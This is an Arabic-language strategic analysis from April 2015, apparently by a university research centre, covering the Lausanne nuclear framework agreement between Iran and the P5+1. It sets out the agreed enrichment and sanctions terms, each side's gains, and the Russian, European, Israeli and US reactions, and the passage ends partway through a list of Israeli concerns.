التداعيات الاستراتيجية لاتفاق الإطار النووي بين طهران وواشنطن

      التعليقات على التداعيات الاستراتيجية لاتفاق الإطار النووي بين طهران وواشنطن مغلقة

ميثاق مناحي

باحث في مركز الدراسات الاستراتيجية/جامعة كربلاء

نيسان / 2015

     بعد سنوات من الصراع واخفاق جولات سابقة من المفاوضات العسيرة، توصلت القوى الكبرى وإيران إلى اتفاق إطار لحل أزمة برنامجها النووي،

ما يشكل حجرا أساسا لاتفاق نهائي. وأهم ما تم الاتفاق عليه هو معضلتا تخصيب اليورانيوم والعقوبات. وبعد مفاوضات ماراثونية متواصلة ليلا ونهارا في لوزان، وقبلها في جنيف, وشد وجذب وتصريحات كثيرة متناقضة ومتباينة، حيث كان بعضها يشير إلى التفاؤل بقرب التوصل إلى اتفاق وبعضها يدعو إلى التشاؤم وفشل المفاوضات، توصلت الدول الكبرى (الولايات المتحدة وروسيا والصين وبريطانيا وفرنسا والمانيا) مع إيران إلى اتفاق إطار لتسوية الملف النووي الإيراني. ما يشكل مرحلة مهمة على طريق اتفاق نهائي يفترض أن ينجز بحلول 30 حزيران/يونيو القادم.

     واعلنت رئيسة الدبلوماسية الأوروبية فريديريكا موغيريني توصل الدول الكبرى الست إلى تفاهم مع إيران حول المبادئ السياسية للاتفاق الشامل بين الطرفين حول برنامج طهران النووي. وفي مؤتمر صحفي مشترك مع وزير الخارجية الإيراني محمد جواد ظريف عقد في مدينة لوزان السويسرية الخميس 2 أبريل/نيسان في ختام المفاوضات التي أجرتها مجموعة “5+1” مع إيران، قالت موغيريني “إن الاتفاق الذي تم تحقيقه سيشكل أساسا للاتفاقية النهائية الشاملة”. وأفادت الدبلوماسية الأوروبية بأن الخبراء قاموا ببلورة مسودة الاتفاقية النهائية، مضيفة أن الطرفين اتفقا على أن تكون جاهزة قبل 30 يونيو/حزيران المقبل. وذكرت موغيريني أن قدرات إيران على تخصيب اليورانيوم ستكون مقيدة، وستتواصل أعمال التخصيب في مركز نطنز فقط، أما منشأة فوردو النووية فسيتم تحويلها إلى مركز علمي. وبحسب البيان المشترك بين إيران ومجموعة “5+1” فإن مؤسسة دولية مشتركة ستساعد إيران على إعادة تصميم مفاعل آراك النووي الذي يعمل بتقنية الماء الثقيل، كي لا يصنع مادة البلوتونيوم القابلة للاستخدام عسكريا، أما الوقود المستخدم فسيتم تصديره إلى خارج إيران. وشددت الدبلوماسية على أن الاتفاقية بين “5+1” وإيران ستتطلب تصديقها من قبل مجلس الأمن الدولي(1). وسنتطرق إلى معايير الاتفاق وتداعياته الاستراتيجية.

أولا: المعايير الرئيسة في الاتفاق النووي

التخصيب:

عدد اجهزة الطرد المركزي سيخفض من 10 آلاف إلى 6104 (اي بمقدار الثلث). ومن الاجهزة ال6104 سيكون لـ5060 فقط الحق في انتاج اليورانيوم المخصب لعشر سنوات. وستكون اجهزة للطرد المركزي من الجيل الأول.

ستخفض طهران مخزونها من اليورانيوم الضعيف التخصيب من عشرة آلاف كيلوغرام إلى 300 كيلوغرام مخصب بنسبة 3,67 بالمئة لمدة 15 عاما. وقد وافقت طهران على الامتناع عن تخصيب اليورانيوم بنسبة تزيد على 3,67 بالمائة لمدة 15 عاما.

ستوضع المواد الفائضة تحت اشراف الوكالة الدولية للطاقة الذرية ولا يمكن استخدامها الا كبديل. وقد وافقت إيران ايضا على عدم بناء منشآت جديدة لتخصيب اليورانيوم لمدة 15 عاما(2).

نقطة الانعطاف:

هي في لغة الخبراء: الزمن اللازم لإنتاج كمية كافية من اليورانيوم المخصب لإنتاج سلاح نووي. وهذه الفترة محددة حاليا بشهرين إلى ثلاثة اشهر، واصبحت حاليا – بموجب الاتفاق – سنة على الاقل لمدة عشرة اعوام.

فوردو ونطنز:

وافقت إيران على عدم تخصيب اليورانيوم لمدة لا تقل عن 15 سنة في موقع فوردو الواقع تحت جبل، لذلك من المستحيل تدميره في عمل عسكري. ولن تبقى مواد انشطارية في فوردو لمدة 15 عاما على الاقل. سيبقى هذا الموقع مفتوحا لكنه لن يجري عمليات تخصيب لليورانيوم. وسيسحب نحو ثلثي اجهزة الطرد المركزي من الموقع.

نطنز: المنشأة الإيرانية الرئيسية للتخصيب، وتضم اجهزة طرد مركزي من نوع أي أر-1 من الجيل الأول وآي آر-2ام الاسرع، وهي قادرة على استيعاب خمسين الفا من هذه الاجهزة. وقد وافقت طهران على ان يصبح نطنز المنشأة الوحيدة للتخصيب وسيزود بـ5060 جهاز أي أر-1 من الجيل الأول لمدة عشر سنوات. اما اجهزة الطرد المركزي الاخرى فستسحب وتوضع تحت اشراف الوكالة الدولية للطاقة الذرية(3).

المراقبة:

ستتولى الوكالة الدولية للطاقة الذرية مراقبة كل المواقع النووية الإيرانية بانتظام.

يمكن لمفتشي الوكالة الدولية للطاقة الذرية دخول مناجم اليورانيوم والاماكن التي تنتج “الكعكة الصفراء” (نوع مركّز من اليورانيوم) لمدة 25 عاما.

آراك:

سيدمر قلب هذا المفاعل الذي يعمل بالمياه الثقيلة أو ينقل خارج الاراضي الإيرانية. وسيعاد بناء المفاعل ليقتصر على الابحاث وانتاج النظائر المشعة الطبية بدون انتاج بلوتونيوم يتمتع بقدرات عسكرية. وسيرسل الوقود المستخدم إلى الخارج طوال عمر المفاعل. ولا يمكن لإيران بناء مفاعل بالمياه الثقيلة لمدة 15 سنة.

العقوبات:

ترفع العقوبات الاميركية والأوروبية فور تأكيد الوكالة الدولية للطاقة الذرية على احترام إيران لتعهداتها، ويعاد فرض هذه العقوبات إذا لم يطبق الاتفاق. ترفع كل العقوبات المفروضة بموجب قرارات صادرة عن مجلس الامن الدولي ما إن تحترم إيران كل النقاط الاساسية في الاتفاق. ويبقي قرار جديد للأمم المتحدة الحظر على نقل التكنولوجيا الحساسة ويدعم تطبيق هذا الاتفاق. اما مدة تطبيق القرار والتي تتراوح بين 10 – 15 سنة بحسب النشاطات، وستكون صالحة لـ25 عاما لعمليات التفتيش لسلسلة التزود باليورانيوم(4). وقالت مفوضة الأمن والسياسة الخارجية للاتحاد الأوروبي فريديريكا موغيريني إن “الاتحاد الأوروبي سيوقف تطبيق جميع العقوبات الاقتصادية والمالية المرتبطة ببرنامج إيران النووي، كما ستوقف الولايات المتحدة تطبيق جميع العقوبات الاقتصادية والمالية المرتبطة ببرنامج إيران النووي بالتزامن مع تطبيق إيران لالتزاماتها الرئيسة بعد أن تتحقق الوكالة الدولية للطاقة الذرية من ذلك”. وكانت موغيريني أول من غرد على تويتر قائلة “أنباء سارة”. تبعها وزير الخارجية الإيراني محمد ظريف مؤكدا “تم التوصل إلى حلول”.

ثانيا: المكاسب الإيرانية والمكاسب الغربية

     فور توقيع الاتفاق الإطاري بين إيران ومجموعة الخمسة زائد واحد، انطلقت موجة عارمة من ردود الفعل المعتادة في كافة الاتجاهات، سواء في الفضاء الإعلامي أم الفضاء الافتراضي. فتجد من يصور الاتفاق كنصر مؤزر لإيران، ومن يصوره كهزيمة لها. والغريب هو التعامل مع الخبر كأنه مفاجأة، رغم أن الوصول لاتفاق صار مرجحا منذ ٢٠١٣م، حين بات واضحا أن عدم الاتفاق لا يخدم مصلحة أي من الطرفين, والاتفاق الذي تم التوصل إليه اليوم حصلت به إيران على كثير من المكاسب قطعا لكنها كذلك قدمت تنازلات مرضية للطرف الآخر. وسنقوم هنا بعرض مكاسب كل طرف مقارنة بمقترحات الحل السابقة منذ ٢٠٠٣م وحتى اليوم.

أ : المكاسب الإيرانية:

  1. عدم خلط أوراق الملف النووي بغيره من الملفات العالقة, فلم يفرض الاتفاق أية قيود على المنظومة الصاروخية لإيران، رغم تصريحات “فرانك روز” نائب وزير الخارجية في ٢٧ أبريل ٢٠١٤م بأن الولايات المتحدة ستعمل مع شركائها على الحد من إمكانات إيران الصاروخية (والتي زادت بعد الإعلان في مارس ٢٠١٥م عن الصاروخ “سومار” المعدل من الروسي “كي إتش ٥٥” والبالغ مداه ألفي كيلومتر). كذلك لم يتعرض الاتفاق لأي قيود على العلاقات الإقليمية لإيران رغم التعهدات الغربية المتتالية لدول الخليج، واكتفت الولايات المتحدة بزيادة تواجدها العسكري في مياه الخليج العربي اعتبارا من ٢٧ مارس الجاري، كوسيلة لطمأنه حلفائها بأننا هنا من أجلكم, وقد كان ربط الاتفاق بالنشاط الإقليمي لإيران واردا في مقترحات عام ٢٠٠٣ كمثال، والتي تضمنت في البند الثاني منها التعاون في الملف العراقي.
  2. رفع العقوبات الاقتصادية الخانقة على إيران تدريجيا بعد توقيع الاتفاق النهائي في يونيو المقبل، تلك العقوبات التي بلغت ذروتها اعتبارا من ٢٠١٢م، وصارت مربكة بشدة للاقتصاد الإيراني ومؤثرة على حياة المواطنين. وكذلك التسييل التدريجي لأموال وأصول إيران المجمدة في الغرب والبالغة وفقا لتقديرات إيران لمائة مليار دولار.
  3. استمرار مفاعل فوردو كمركز بحثي للنظائر المشعة لعلاج السرطان بمشاركة دولية، بديلا عن مقترح سابق بتقديم دول الخمسة زائد واحد النظائر المشعة لإيران، وهو ما يضمن التراكم المعرفي في هذا المجال لإيران وليس استهلاكه وحسب(5).
  4. اعادة انتاج النفط، والذي يمكن أن يصل إنتاجه إلى 4 ملايين برميل يوميًا في أقل من 3 أشهر بعد رفع العقوبات وارتفاع عائدات النفط المقدرة بـ 25 مليار دولار في موازنة 2015 إلى نحو 100 مليار دولار في 2017 مقارنة بنحو 120 مليار عائدات العام 2011.
  5. السماح لإيران بالعودة إلى النظام المالي العالمي بما يشمل كافة العمليات المصرفية ولا سيما التي تتعلق بمدفوعات صادرات النفط ومختلف الصادرات من المنتجات الإيرانية بالعملات الحرة خاصة الدولار الأميركي واليورو وكذلك مدفوعات إيران قيمة مستورداتها من مختلف دول العالم بعد ” فك ” عزلتها الاقتصادية ، علماً أن إيران كانت في ظل العقوبات تلجأ إلى التحايل في مدفوعاتها الخارجية وإيراداتها وذلك باعتماد نظام المقايضة ، وقد ترتب لها بذلك ديون على الدول المستوردة للنفط بمليارات الدولارات.
  6. عودة إيران إلى التعامل مع مؤسسات التمويل الدولية، كالبنك الدولي وصندوق النقد الدولي وبنك الاستثمار الأوروبي والحصول منها على قروض مختلفة وبشروط متعارف عليها في العلاقات الدولية.
  7. عودة الاستثمارات الخارجية المباشرة، لتتدفق إلى إيران ، بما فيها استثمارات شركات النفط الأجنبيّة ، وشركات إنتاج السيارات، والتي ترغب في استعادة مكانتها في تطوير الصناعة الإيرانية.
  8. دعم احتياطي البنك المركزي البالغ حاليا نحو 62 مليار دولار أمريكي ، وكان يفوق 100 مليار دولار قبل العقوبات ، ومن شأن ذلك أن يوفر الدعم والحماية للنقد الوطني واستعادة قيمته السابقة، حيث كان الدولار الأميركي يعادل 12 ألف ريال ، وفي الوقت نفسه يخفض معدل التضخم إلى أقل من 15%(6).

ب : المكاسب الغربية

  1. تخفيض إمكانات إيران النووية، بما يضمن اقتصارها على الأهداف السلمية خلال السنوات العشر مدة الاتفاق. وجاءت البنود أكثر إحكاما من مقترحات سابقة، فشملت خفض طرادات مفاعل نطنز للنصف، مقارنة بتثبيت عددها في مقترح يوليو ٢٠١١م، وتحويل مفاعل فوردو لمركز أبحاث نووية، وكذلك وقف تخصيب اليورانيوم ٢٠% فأكثر، وتصدير اليورانيوم المخصب فوقها، وهو ما عارضته إيران في مقترحات ٢٠١٢م. كذلك إعادة هيكلة مفاعل الماء الثقيل في “آراك” لتخصيب البلوتونيوم، وهو ما لم تتضمنه المقترحات السابقة، فضلا عن الرقابة الدولية المطلقة والمفتوحة وبدون ترتيب مسبق، على كل المنشآت النووية الإيرانية، والتي كانت موجودة دائما في جميع المقترحات.
  2. رفع العقوبات وفقا للاتفاق الإطاري سيكون تدريجيا، ومترتبا على درجة التزام إيران بتطبيق ما يخصها، وهي الصيغة التي عارضتها إيران قبل أن تقبلها أخيرا، خوفا من التذرع بها لاستمرار العقوبات بعد أن يتم تخفيض الإمكانات النووية الحالية(7).

ثالثاً: المواقف الدولية والإقليمية

       لم يكن يوم الاعلان عن توصل واشنطن وطهران للاتفاق النووي حول برنامج إيران النووي يوماً عاديا, فما إن تم الاعلان وتوصلت الاطراف المفاوضة إلى حلول حتى تلقفت وسائل الاعلام ذلك الاتفاق، وكانت هناك تداعيات وردود فعل ومواقف اتجاه ذلك الاتفاق النووي. ومن اهم تلك المواقف هو الموقف الروسي – الأوربي، والإسرائيلي، والسعودي.

1.الموقف الروسي – الأوربي

     اعلن نائب وزير الخارجية الروسي سيرغي ريابكوف عن ترحيب موسكو بنتائج المفاوضات التي جرت في لوزان السويسرية بين مجموعة “5+1” وإيران بشأن برنامجها النووي. وفي تصريح صحفي الخميس 2 أبريل/نيسان أشار ريابكوف الذي شارك في المفاوضات، إلى أنها أسفرت عن صياغة البنود الرئيسة التي سيستند إليها العمل اللاحق على بلورة الاتفاقية النهائية الشاملة حول الملف الإيراني. وأضاف الدبلوماسي أن موسكو تعول على عدم إعادة النظر في الاتفاق الذي تم تحقيقه. وأعاد ريابكوف إلى الأذهان أن الاتفاقية النهائية تعد “وثيقة بالغة التعقيد ينبغي بلورتها بجميع تفاصيلها، وهذا العمل سيستغرق حتى نهاية يونيو/حزيران المقبل”، معربا عن أمل روسيا في ألا تكون هناك ضرورة إلى إرجاء عقد الاتفاقية إلى أبعد من ذلك. وعن احتمال نقل المواد النووية إلى روسيا. ذكر ريابكوف أن ثمة تفاهم في إطار الاتفاقات بين طهران والدول الست الكبرى حول احتمال نقل المواد النووية من إيران إلى روسيا. وأشار بهذا الصدد إلى أن الاتفاقات السابقة بين موسكو وطهران بشأن تزويد المحطات الذرية الإيرانية بالوقود وإعادة مخلفاته إلى روسيا ما تزال قائمة. يذكر أن الطرف الروسي اقترح سابقا أثناء المفاوضات مع إيران نقل جزء كبير من المواد النووية بما فيها اليورانيوم المخصب إلى الأراضي الروسية، علما أن هذا الموضوع ينظر إليه كأحد عوامل تقييد برنامج إيران النووي. واعترف ريابكوف بأنها “مسألة معقدة للغاية”، مضيفا أن موسكو مستعدة للنظر فيها. أما في ما يتعلق بموضوع إعادة تصميم مفاعل آراك، وفيما يتعلق بتشكيل الكونسورسيوم الذي سيقوم بإعادة تصميم مفاعل آراك النووي، قال ريابكوف إنه من السابق لأوانه الحديث عن الجهات التي ستشارك فيه. ودعا الدبلوماسي الروسي إلى تفادي “تسييس هذه الموضوعات” والأخذ بعين الاعتبار الخبرات التي تمتلكها هذه الدولة أو تلك بهذا الشأن. وأكد ريابكوف اهتمام موسكو بتوسيع التعأون مع إيران في هذا المجال، مشيرا إلى أن روسيا تدرس دورها المحتمل إزاء منشأة فوردو أيضا. وفيما يتعلق برفع العقوبات أعرب ريابكوف عن قناعة موسكو بأن حظر توريد الأسلحة إلى إيران يجب أن يرفع فورا بعد التوصل إلى اتفاقات مع طهران. وأعاد نائب وزير الخارجية إلى الأذهان أن روسيا في مرحلة بلورة قرار 1929 لمجلس الأمن الدولي ذي الشأن، أشارت مرارا إلى عدم منطقية إدخال هذا الموضوع بالذات في سياق الملف الخاص بمنع انتشار أسلحة الدمار الشامل. وأردف قائلا: “للأسف بقيت حججنا آنذاك غير مسموعة، لكننا نعود إلى هذا الموضوع وسنصر على رفع حظر الأسلحة عن إيران في المقام الأول”. وأضاف أن هناك عملا لابد من تنفيذه لتحديد أحداث ستكون نقطة انطلاق لرفع العقوبات عن إيران على الصعيد العملي. وعلى الصعيد الخارجي وتأثير الاتفاق على الوضع الامني في المنطقة قالت الخارجية الروسية: اتفاقات لوزان ستؤثر إيجابا على الوضع الأمني في الشرق الأوسط. وفي وقت سابق من يوم الخميس أعربت وزارة الخارجية الروسية في بيان لها عن ثقة موسكو بأن يكون للاتفاق السياسي بين إيران والدول الكبرى تأثير إيجابي على الوضع الأمني العام في منطقة الشرق الأوسط. وجاء في البيان أن روسيا ترى في هذا الاتفاق “دليلا دامغا على أن الجهود السياسية الدبلوماسية تصلح لحل المشكلات والأزمات الأكثر تعقيدا”. وأضافت الخارجية، إنها لا تشكك في أن الاتفاق بشأن البرنامج النووي الإيراني سيمكن طهران من لعب دور أكبر في حل “عدد من المشكلات والنزاعات التي تشهدها المنطقة(8). أما المواقف وردود الفعل الأوربية، فقد كانت مرحبة بالاتفاق, وأعربت المستشارة الألمانية أنجيلا ميركل – من جهتها – عن ترحيبها بالاتفاق، مشيدة بجولة المفاوضات الأخيرة التي استضافتها مدينة لوزان السويسرية. واعتبر وزير الخارجية البريطاني فيليب هاموند أن التوصل لاتفاق نووي أولي بين إيران والقوى العالمية يوفر أساسا جيدا للتوصل لما قد يكون اتفاقا شاملا “جيدا جدا”، كما رحب الرئيس الفرنسي فرانسوا هولاند بالاتفاق بُعيد الإعلان عن توقيعه (9).

2. الموقف الإسرائيلي

     تنأول عدد من المسؤولين السياسيين في إسرائيل مسألة التفاهمات الأخيرة التي توصلت إليها طهران والقوى الغربية، ليوم الخميس 3/4/2015، بشأن الاتفاق النووي الإيراني. وقالت صحيفة يديعوت أحرونوت الإسرائيلية إن المسؤولين أوضحوا أن التفاهمات التي توصل إليها الجانبان “سيئة” وستؤدي إلى اتفاق “سيئ” وخطير. وأكد المسؤولون أنه إذا تم تشكيل الاتفاق وفقاً للخطوط العريضة والتفاهمات التي توصل إليها الجانبان اليوم فستكون هذه الاتفاقية بمثابة “خطأ تاريخي” ستجعل الوضع أكثر خطورة مما هو عليه (10). وفي أول رد فعل رسمي على الاتفاق النووي في لوزان، انتقدت إسرائيل، مساء الخميس، الاتفاق بشدة، واعتبرت أن الحديث عنه خطأ تاريخي. ووفقا لما تراه، فإن هذا الاتفاق يؤدي إلى منح الشرعية الدولية للبرنامج النووي الإيراني الذي لا يهدف إلا إلى إنتاج قنبلة نووية. كما هاجم المسؤولون الإسرائيليون الولايات المتحدة والدول العظمى، وعدوا الاتفاق الذي تم التوصل إليه مع إيران على أنه “انطواء أمام الإملاءات الإيرانية”، وأنه لن يؤدي إلى برنامج نووي لأهدف سلمية، وإنما لأهداف حربية. وأضاف المسؤولون أن البديل لـ”الاتفاق السيئ” الذي تم التوصل إليه ليس الحرب، وإنما اتفاق آخر يفكك البنى التحتية للبرنامج النووي الإيراني، ويطالبها بوقف “عدوانها وإرهابها في المنطقة والعالم”. وقد جاءت أقوال المسؤولين الإسرائيليين ردا على تصريحات الرئيس الأميركي باراك أوباما، التي أدلى بها في مؤتمر صحفي، بعد الإعلان عن التوصل إلى اتفاق، تساءل فيه – موجها كلامه لمعارضي الاتفاق في العالم – : “هل هذا الاتفاق أسوأ من حرب أخرى في الشرق الأوسط؟”. تجدر الإشارة إلى أن رئيس الحكومة الإسرائيلية، بنيامين نتنياهو، كان قد كتب في “تويتر” أن أي اتفاق مع إيران يجب أن يعيد قدراتها النووية إلى الوراء، ويوقف “إرهابها وعدوانها”. من جهته قال الوزير لشؤون الاستخبارات، يوفال شطاينتس: إن “الابتسامات في لوزان منفصلة عن الواقع البائس، فإيران ترفض تقديم تنازلات في برنامجها النووي، وتواصل تهديد إسرائيل وباقي الشرق الأوسط(11).وعاد رئيس الحكومة الإسرائيلية بنيامين نتنياهو، وحمل بشدة على أي اتفاق نووي قد تبرمه القوى العظمى مع إيران، معتبراً أن مثل هذا الاتفاق يمثل جائزة لإيران على عدوانيتها، وأن إسرائيل هي أول المتضررين. ومع ذلك، يرى خبراء في إسرائيل أن الاتفاق الغربي مع إيران ليس سيفاً مسلطاً على عنق إسرائيل. ويشير آخرون إلى أن بوسع إسرائيل أن تندد وتصرخ ضد الاتفاق، لكن ليس بوسعها شن هجوم عسكري على إيران. وحمل نتنياهو بشدة مجدداً على الإدارة الأميركية والدول المشاركة في المفاوضات النووية مع طهران، وزعم أنها تمنح إيران جائزة على عدوانها. وقال، خلال حفل في مقر رئاسة الحكومة الإسرائيلية في القدس المحتلة: إن “الاتفاق المتبلور في لوزان يبعث برسالة تفيد بأن لا ثمن للعدوان، بل على العكس، ثمة مكافأة على عدوانية إيران. والدول المعتدلة والمسؤولة في المنطقة، وعلى رأسها إسرائيل ودولأخرى كثيرة ، هي أول المتضررين من هذا الاتفاق”. وأضاف نتنياهو: يستحيل فهم كيف أنه فيما تستمر القوات المدعومة من إيران في اليمن باحتلال المزيد والمزيد من الأراضي، يغمضون في لوزان عيونهم عن هذا العدوان. واستدرك قائلا: “لكننا لا نغمض عيوننا، وسنواصل العمل ضد كل تهديد”(12). وتحدث منتقدون جمهوريون، ممن تربطهم علاقات قوية مع رئيس الوزراء الاسرائيلي بنيامين نتنياهو بقوة ضد الاتفاق مع إيران, وأعرب الجمهوريون في الكونغرس الأميركي عن قلقهم إزاء اتفاق الاطار الذي تم التوصل إليه في لوزان الخميس بين الدول الكبرى وإيران بشأن برنامجها النووي، مؤكدين تمسكهم بحقهم في أن تكون لهم كلمة في أي اتفاق نهائي يتم التوصل إليه بهذا الشأن. وقال رئيس مجلس النواب الأميركي الجمهوري جون باينر في بيان: إن “معايير اتفاق نهائي تمثل فارقا مقلقا بالمقارنة مع الأهداف الأساسية التي حددها البيت الأبيض”، معربا عن قلقه وبخاصة إزاء إمكانية رفع العقوبات عن طهران في المدى القصير. ويأتي الانتقاد الجمهوري مع تزايد قلق إسرائيل، التي وصفت الاتفاق بأنه “بعيد عن الواقع”، وتعهدت بمواصلة الضغط لمنع اتفاق نهائي “سيء”(13)، وأن جميع الخيارات تبقى مطروحة”. في الوقت الذي أشاد الرئيس الأمريكي باراك أوباما باتفاق الاطار بشأن برنامج إيران النووي قائلا: إنه “اتفاق جيد” سيمنع إيران من الحصول على سلاح نووي وسيجعل العالم أكثر أمانا وهو خيار أفضل من حرب جديدة في الشرق الأوسط. وبعد قليل من الاعلان عن الاتفاق في سويسرا بعد مفاوضات طويلة بين إيران والقوى العالمية خرج أوباما إلى حديقة البيت الابيض ليروج للاتفاق لدى الأمريكيين وأعضاء الكونغرس المتشككين، وقال “لذا فحين تسمعون المنتقدين الحتميين للاتفاق يرفعون اصواتهم اسألوهم سؤالا بسيطا.. هل تعتقدون فعلا أن هذا الاتفاق القابل للتثبت منه… إذا نفذ بالكامل.. بدعم من القوى الكبرى العالمية.. خيار اسوأ من المخاطرة بحرب أخرى في الشرق الأوسط؟”. وطرح أوباما ثلاثة خيارات لكبح الطموحات النووية الإيرانية، وقال: إن الأول هو: “اتفاق قوي ويمكن التثبت منه. مثل هذا (سيؤدي إلى) منع إيران سلميا من الحصول على سلاح نووي”. والخيار الثاني هو: إننا يمكن أن نقصف المنشآت النووية الإيرانية ومن ثم نبدأ حربا أخرى في الشرق الأوسط وندفع برنامج إيران للوراء بضع سنين… وبكلمات أخرى نعيده للوراء بنفس القدر الزمني الذي سيعيده به هذا الاتفاق إلى الوراء. أما الخيار الثالث فهو: الانسحاب من المفاوضات ومحاولة دفع الدول الأخرى لمواصلة العقوبات الاقتصادية على إيران، “وأن نأمل في تحقق افضل النتائج”. وقال أوباما: إن الاتفاق من خلال التفاوض “هو افضل خيار لنا إلى حد بعيد”. وقال الرئيس المنتمي للحزب الديمقراطي: إنه إذا قتل الكونغرس الأمريكي الذي يقوده الجمهوريون الاتفاق بدون تقديم اي بديل معقول “حينئذ ستكون الولايات المتحدة هي التي ستلام عن فشل الدبلوماسية”. واضاف أوباما: انني تحدثت مع العاهل السعودي الملك سلمان وسيتحدث قريبا مع نتنياهو وزعماء بالكونغرس. في حين وصف الاتفاق بأنه تاريخي، وسيقطع على إيران كل طريق يمكن ان تسلكه لتطوير سلاح نووي. واضاف “إذا أدى اتفاق الاطار هذا إلى اتفاق شامل نهائي فسيجعل بلدنا وحلفاءنا والعالم أكثر أمانا”. حيث وصفه بأنه ” اتفاق جيد”. وأقر أوباما بوجود “تاريخ صعب” بين الولايات المتحدة وإيران. وساندت واشنطن انقلابا عام 1953 اطاح برئيس الوزراء الإيراني المنتخب ديمقراطيا. وكان الثوريون الإيرانيون الذين اطاحوا بالشاه المدعوم من الولايات المتحدة في 1979 قد احتجزوا دبلوماسيين امريكيين رهائن(14). ويأتي الموقف الإسرائيلي الرافض للاتفاق النووي بسبب الرؤية الإسرائيلية لإيران, بوصفها تمثل تهديدا للأمن القومي الإسرائيلي، وذلك التهديد له مصدران وفق تحليل جورج فريدمان، وهما:

  • البرنامج النووي الإيراني وامكانية تطوير طهران هذا البرنامج.
  • الدعم الإيراني لحزب الله وحركة حماس وجماعات اخرى في منطقة الشرق الأوسط.

ورغم أن إيران تقع في منطقة بعيدة عن إسرائيل ولا تمثل تهديدا عسكريا تقليديا، لكن الإسرائيليين يحبذون أن تتخلى إيران عن برنامجها النووي بطريقة أو بأخرى. ويرى فريدمان أيضا أن اسرائيل نفسها لا تمتلك وسائل موثوق بها لتدمير البرنامج النووي الإيراني عسكريا. وما تخشاه اسرائيل في الحقيقة هو أن تجري الولايات المتحدة وإيران صفقات سياسية من شأنها أن تضر بإسرائيل, والتي يظل لديها مساحة لكي تناور من خلالها اكثر مما هو متاح أمام السعودية. فإسرائيل يمكنها أن تبقى بجوار دولة عراقية موالية لإيران على العكس من السعودية التي ترى بدورها أن تجاوز إيران نطاق النفوذ السعودي في المنطقة اصبح مسألة وقت, كما لا يمكن أن يحتمل السعوديون أن تستمر هيمنة حزب الله اللبناني المؤيد لإيران في لبنان(15). ونظراً للتصريحات العلنية المكررة لرئيس الوزراء الإسرائيلي بنيامين نتنياهو حول توقعاته لاتفاق نووي مع إيران، ونظراً لأن إسرائيل تعتبر أن برنامج طهران يشكل تهديداً وجودياً لها، فليس من المستغرب أن تأتي انتقادات نتنياهو بصورة قوية ودون تردد تجاه معايير إطار الاتفاق التي نشرتها الولايات المتحدة مؤخراً. وقد قال نتنياهو في الثاني من نيسان/أبريل: “إن هذا الاتفاق سوف يمهد الطريق أمام إيران لصنع قنبلة نووية بدلاً من أن يسده”. وعشية عيد الفصح، عقد اجتماع استثنائي للحكومة المصغرة (المعنية بالشؤون الأمنية) يفيد بأن إسرائيل “متحدة في معارضة الاتفاق المقترح” والذي يقول عنه الرئيس الإسرائيلي أنه قد يهدد بقاء بلده. ويتمثل جوهر الانتقادات الإسرائيلية بأن الولايات المتحدة لم تستخدم نفوذها الكامل في المفاوضات، وأن هدف واشنطن تحوّل خلال المحادثات من القضاء على البرنامج النووي الإيراني إلى مجرد الحد منه. وقد أدت العقوبات إلى قدوم إيران إلى طاولة المفاوضات، لذلك ترى إسرائيل أنه كان من الممكن انتزاع المزيد من التنازلات من طهران لو كان المجتمع الدولي يتمتع بقيادة أكثر تصميماً. ومن هذا المنظور، كان الوقت إلى جانب واشنطن، ويعود ذلك أولاً إلى انخفاض أسعار النفط – الذي هو مصدر الدخل الرئيس لإيران – إلى النصف في الأشهر الماضية، وثانياً لأن العالم كان متحداً ضد أي تخصيب نووي إيراني بفضل ستة قرارات من قبل مجلس الأمن ذات صلة بالموضوع. وعلى نطاق أوسع، تؤمن إسرائيل أن إيران لم تتخذ قط قراراً استراتيجياً يتنصل من الأسلحة النووية، وأن الغرب اقترب من طهران بصورة أكثر خلال المحادثات وليس العكس من ذلك. ووفقاً لهذا التفكير، تشعر إيران أن واشنطن هي أكثر تفضيلا للحوافز من المثبطات، ولم تؤمن بتاتاً بأن الولايات المتحدة ستهاجم في الواقع برنامجها النووي. ويؤمن مسؤولون إسرائيليون أيضاً أن هناك الكثير من التفكير القائم على التمني حول النوايا الإيرانية في أعقاب الاتفاق. على سبيل المثال، أشاروا إلى أنه قبل أيام فقط من الإعلان عن معايير إطار الاتفاق، أعلن الجنرال محمد رضا نقدي قائد قوات التعبئة (“الباسيج”) في إيران أن تدمير إسرائيل “غير قابل للتفاوض”، إلا أن وسائل الإعلام الأمريكية تجاهلت ذلك التصريح إلى حد كبير. ولا تنصب انتقادات إسرائيل حول شروط الاتفاق فحسب، بل أيضاً حول التداعيات التي قد تكون لها على دور إيران في الشرق الأوسط. وتبرز هناك ثلاثة مخاوف:

أولاً: تشير معايير إطار الاتفاق على ما يبدو إلى أن إيران ستكون قادرة على الحفاظ على البنية التحتية النووية بالحجم الصناعي عند انتهاء مدة الاتفاق بعد خمسة عشر عاماً، من بينها الوصول غير المقيد وبسهولة أكبر إلى أجهزة الطرد المركزي المتقدمة بهدف إنتاج اليورانيوم المستخدم في تصنيع الأسلحة. ويؤمن الإسرائيليون أنه تحسباً لهذه القدرات الإيرانية المستقبلية، من المرجح أن يؤدي بناؤها إلى قيام سباق تسلح في الشرق الأوسط يهدف إلى استباق طهران، وربما يشمل ذلك تعاون نووي أوثق بين باكستان والمملكة العربية السعودية. وقد تؤدي أي تطورات من هذا القبيل إلى تغيير الوضع الراهن في المنطقة.

ثانياً: يخشى مسؤولون إسرائيليون من أنه لن يتوفر للمفتشين الدوليين ما يحتاجونه من النفاذ الضروري بعد التوقيع على الاتفاق، وعليه فإن التحقق من الامتثال الإيراني سوف يكون أقل صرامة مما تتصوره واشنطن. وهم قلقون بشكل خاص من (عدم سماح طهران للمفتشين الدوليين) من الوصول إلى المواقع العسكرية الإيرانية. ويقلق الإسرائيليون أيضاً من أن هناك القليل من الوضوح حول آلية تحديد الانتهاكات الإيرانية وكيف سيتم تنشيط عقوبات “شرط الانقضاء” إذا لزم الأمر. فمن وجهة نظرهم، إن اختلاف المصالح التجارية بين أعضاء مجلس الأمن سيجعل من الصعب تطبيق عقوبات على الصعيد العالمي، ولذلك فإن الطريقة الأضمن لتجنب الانتهاكات الإيرانية في المقام الأول تكمن في التوضيح مقدماَ وبصورة غير مبهمة ما هي العواقب التي تترتب عن ذلك.

